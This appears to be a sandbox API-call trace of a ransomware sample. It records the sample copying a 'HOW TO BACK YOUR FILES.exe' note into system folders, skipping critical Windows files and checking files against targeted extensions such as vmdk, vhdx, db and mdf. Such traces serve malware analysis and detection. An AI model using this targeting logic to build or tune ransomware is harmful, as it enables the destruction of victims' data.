	[0080.006] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f8c0270, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f8c0270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0080.006] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0080.006] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc10
	[0080.006] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup"
	[0080.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0080.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0080.006] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup") returned 71
	[0080.006] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup"
	[0080.006] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0080.006] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\backup\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0080.007] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0080.007] GetLastError () returned 0x0
	[0080.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0080.007] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0080.007] CloseHandle (hObject=0x10c) returned 1
	[0080.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0080.007] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0080.007] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f8e63d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f8e63d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0080.007] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.007] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0080.007] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0080.007] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f8e63d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f8e63d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.007] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.007] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0080.007] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0080.007] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0080.007] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f8e63d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f8e63d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0080.008] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0080.008] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f8e63d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f8e63d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0080.008] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0080.008] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7ab0
	[0080.008] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\VISIO", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\VISIO") returned="C:\\Users\\All Users\\Microsoft\\VISIO"
	[0080.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5be0b8 | out: hHeap=0x580000) returned 1
	[0080.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0080.008] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\VISIO") returned 34
	[0080.008] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\VISIO" | out: lpString1="C:\\Users\\All Users\\Microsoft\\VISIO") returned="C:\\Users\\All Users\\Microsoft\\VISIO"
	[0080.008] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0080.008] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\visio\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0080.008] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0080.009] GetLastError () returned 0x0
	[0080.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0080.009] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0080.009] CloseHandle (hObject=0x10c) returned 1
	[0080.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0080.009] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0080.009] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f90c530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0080.009] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.009] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0080.009] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0080.009] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f90c530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.009] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.009] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0080.009] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0080.009] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0080.009] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f90c530, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0080.009] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0080.009] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f90c530, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0080.009] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0080.010] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bd0
	[0080.010] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Vault", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Vault") returned="C:\\Users\\All Users\\Microsoft\\Vault"
	[0080.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5be068 | out: hHeap=0x580000) returned 1
	[0080.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0080.010] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Vault") returned 34
	[0080.010] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Vault" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Vault") returned="C:\\Users\\All Users\\Microsoft\\Vault"
	[0080.010] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0080.010] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Vault\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\vault\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0080.010] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0080.010] GetLastError () returned 0x0
	[0080.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0080.011] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0080.011] CloseHandle (hObject=0x10c) returned 1
	[0080.011] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0080.011] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0080.011] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f90c530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0080.011] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.011] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0080.011] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0080.011] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f90c530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.011] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.011] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0080.011] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0080.011] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0080.011] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f90c530, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0080.011] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0080.011] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f90c530, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0080.011] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0080.011] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b50
	[0080.011] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures"
	[0080.011] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afce8 | out: hHeap=0x580000) returned 1
	[0080.011] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0080.011] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned 50
	[0080.011] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures"
	[0080.011] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0080.012] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0080.012] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0080.012] GetLastError () returned 0x0
	[0080.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0080.012] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0080.012] CloseHandle (hObject=0x10c) returned 1
	[0080.013] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0080.013] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0080.013] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f90c530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0080.013] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.013] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0080.013] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0080.013] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f90c530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.013] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.013] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0080.013] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0080.013] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0080.013] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29423840, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz.dat", cAlternateFileName="5P5NRG~1.DAT")) returned 1
	[0080.013] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.013] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="Apollon865.txt.exe") returned -1
	[0080.013] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2=".") returned 1
	[0080.013] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="..") returned 1
	[0080.013] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="windows") returned -1
	[0080.013] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="bootmgr") returned -1
	[0080.013] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="temp") returned -1
	[0080.013] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="pagefile.sys") returned -1
	[0080.013] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="boot") returned -1
	[0080.013] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="ids.txt") returned -1
	[0080.013] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="ntuser.dat") returned -1
	[0080.013] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="perflogs") returned -1
	[0080.013] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="MSBuild") returned -1
	[0080.013] lstrlenW (lpString="5p5NrGJn0jS HALPmcxz.dat") returned 24
	[0080.013] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*") returned 52
	[0080.014] lstrcpyW (in: lpString1=0x119e66e, lpString2="5p5NrGJn0jS HALPmcxz.dat" | out: lpString1="5p5NrGJn0jS HALPmcxz.dat") returned="5p5NrGJn0jS HALPmcxz.dat"
	[0080.014] lstrlenW (lpString="5p5NrGJn0jS HALPmcxz.dat") returned 24
	[0080.014] lstrlenW (lpString="Apollon865") returned 10
	[0080.014] lstrcmpiW (lpString1="LPmcxz.dat", lpString2="Apollon865") returned 1
	[0080.014] lstrlenW (lpString=".dll") returned 4
	[0080.014] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2=".dll") returned 1
	[0080.014] lstrlenW (lpString=".lnk") returned 4
	[0080.014] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2=".lnk") returned 1
	[0080.014] lstrlenW (lpString=".ini") returned 4
	[0080.014] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2=".ini") returned 1
	[0080.014] lstrlenW (lpString=".sys") returned 4
	[0080.014] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2=".sys") returned 1
	[0080.014] lstrlenW (lpString="5p5NrGJn0jS HALPmcxz.dat") returned 24
	[0080.014] lstrlenW (lpString="bak") returned 3
	[0080.014] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1
	[0080.014] lstrlenW (lpString="ba_") returned 3
	[0080.014] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1
	[0080.014] lstrlenW (lpString="dbb") returned 3
	[0080.014] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1
	[0080.014] lstrlenW (lpString="vmdk") returned 4
	[0080.014] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1
	[0080.014] lstrlenW (lpString="rar") returned 3
	[0080.014] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1
	[0080.014] lstrlenW (lpString="zip") returned 3
	[0080.014] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1
	[0080.014] lstrlenW (lpString="tgz") returned 3
	[0080.014] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1
	[0080.014] lstrlenW (lpString="vbox") returned 4
	[0080.014] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1
	[0080.014] lstrlenW (lpString="vdi") returned 3
	[0080.014] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1
	[0080.014] lstrlenW (lpString="vhd") returned 3
	[0080.014] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1
	[0080.014] lstrlenW (lpString="vhdx") returned 4
	[0080.014] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1
	[0080.014] lstrlenW (lpString="avhd") returned 4
	[0080.014] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1
	[0080.015] lstrlenW (lpString="db") returned 2
	[0080.015] lstrcmpiW (lpString1="at", lpString2="db") returned -1
	[0080.015] lstrlenW (lpString="db2") returned 3
	[0080.015] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1
	[0080.015] lstrlenW (lpString="db3") returned 3
	[0080.015] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1
	[0080.015] lstrlenW (lpString="dbf") returned 3
	[0080.015] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1
	[0080.015] lstrlenW (lpString="mdf") returned 3
